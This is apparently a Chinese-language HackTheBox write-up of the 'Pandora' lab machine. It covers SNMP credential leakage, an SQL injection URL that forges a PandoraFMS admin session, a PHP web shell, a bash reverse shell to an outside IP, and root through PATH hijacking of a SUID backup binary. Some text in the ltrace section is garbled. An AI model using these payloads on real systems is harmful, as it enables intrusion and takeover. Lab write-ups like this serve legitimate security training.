> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md). # Pandora HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能：** * SNMP 快速枚举 * 信息泄露 * 本地端口转发 * SQL 注入 - 管理员会话劫持 * PandoraFMS v7.0NG 经过身份验证的远程代码执行（CVE-2019-20224] * 滥用自定义二进制文件 - PATH 劫持（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

## TCP: **使用 Nmap 查找开放的 TCP 端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

**使用 Nmap 扫描 TCP 端口版本：** 使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```bash nmap -sCV -p22,80 10.10.11.136 -oN targeted ```

### 端口 80：我们使用了 `whatweb` 以识别 Web 服务器使用的技术：

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

## UDP: **使用 Nmap 查找开放的 UDP 端口：** 我们还使用以下命令对 UDP 端口进行扫描 **Nmap**: ```bash nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP ``` 我们发现了 SNMP 端口 161、17185 和 49201

**使用 Nmap 扫描 UDP 端口版本：** 使用 Nmap 扫描 UDP 端口的版本并将信息提取到“targeted”文件中： ```bash nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP ``` 通过 SNMP 发现敏感信息，包括一个用户： * `daniel` * 密码： `HotelBabylon23`.

## 端口 161 - SNMP {% embed url="" %} **SNMP 枚举** 为了检查暴露的 SNMP 服务，我们使用了以下命令 ```bash snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt ``` * 通过分析 `snmpcontent.txt`，我们发现了敏感信息，包括有效凭据： * **用户**: `daniel` * **密码**: `HotelBabylon23`

利用获取到的信息，我们与目标机器建立了 SSH 连接： ```bash ssh daniel@10.10.11.136 ```

## **权限提升** **初始搜索** 通过探索用户 `daniel`可访问的目录，我们在以下路径中识别出有趣的文件和文件夹： `/var/www/pandora`

该目录包含 PandoraFMS 网站，但似乎无法直接从外部访问。 **端口转发** 为了通过本地机器访问 PandoraFMS 界面，我们配置了一个 SSH 隧道： ```bash ssh -L 80:127.0.0.1:80 daniel@10.10.11.136 ``` ## 利用 Pandora FMS - SQL 注入 ### **SQL 注入：管理员会话劫持** 该命令将本地 HTTP 请求重定向到内部 Web 服务器。

检测到的版本： **v7.0NG.742/\_FIX/\_PERL2020**.

{% embed url="" %} 已知漏洞位于 `chart_generator.php` 通过 `session_id` 变量：

``` http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1' ```

运行 SQL 注入以伪造管理员会话：

http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO

* 此命令返回一个管理员会话 cookie。

使用该 cookie 以管理员身份访问仪表板。

### **远程代码执行（RCE）-（CVE-2019-20224]** 导航至 **文件管理器**.

上传一个恶意的 PHP 文件：

<?php system($_GET['cmd']); ?>

* 通过以下地址可访问该文件 `http://127.0.0.1/pandora_console/images/cmd.php`.

运行一个反向 shell： * 本地监听： ```bash nc -nvlp 443 ``` * 在目标服务器上运行该命令： ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261" ``` 获得了用户 `matt`.

**准备终端：** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` 允许在交互式终端中更舒适地使用。 ### User.txt 标志：）

## PATH 劫持 - 滥用自定义二进制文件 **搜索具有 SUID 权限的二进制文件** ```bash find / -perm -4000 2>/dev/null ``` 结果：发现了一个有趣的二进制文件：/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

**使用以下工具分析二进制文件 `ltrace`** 为了理解该二进制文件的工作方式，我们使用了 **`ltrace`** （一种系统调用跟踪工具）来观察该二进制文件发出的系统调用： ```bash ltrace /usr/bin/pandora_backup ``` 这使我们能够看到该二进制文件正在执行 **KEEP/*****0/*****/\_** 命令，而没有使用可执行文件的绝对路径，这就带来了潜在漏洞。换句话说，如果我们修改我们的 **`PATH`** 以包含一个名为 `tar`的恶意可执行文件所在目录，那么执行的就会是它而不是原始文件。

**通过 PATH 劫持进行利用** **创建一个恶意的 `tar` 文件：** 我们创建了一个名为 `tar` 在 `/tmp/` 目录并赋予执行权限 **SUID**的文件。该文件包含一条以提升权限打开 bash shell 的命令： ```bash chmod 4777 /bin/bash ``` **修改 `PATH` 变量：** 为了强制系统使用我们恶意版本的 `tar`，我们修改了 `PATH` 变量以优先使用 `/tmp/` 目录 ```bash export PATH=/tmp/:$PATH ```

**执行存在漏洞的二进制文件：** 在修改 `PATH`之后，我们执行了 **`pandora_backup`** 二进制文件：

通过运行我们修改后的 `tar`，一个提权的 Bash shell 被打开，使我们获得了 `root` 访问权限。 ### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.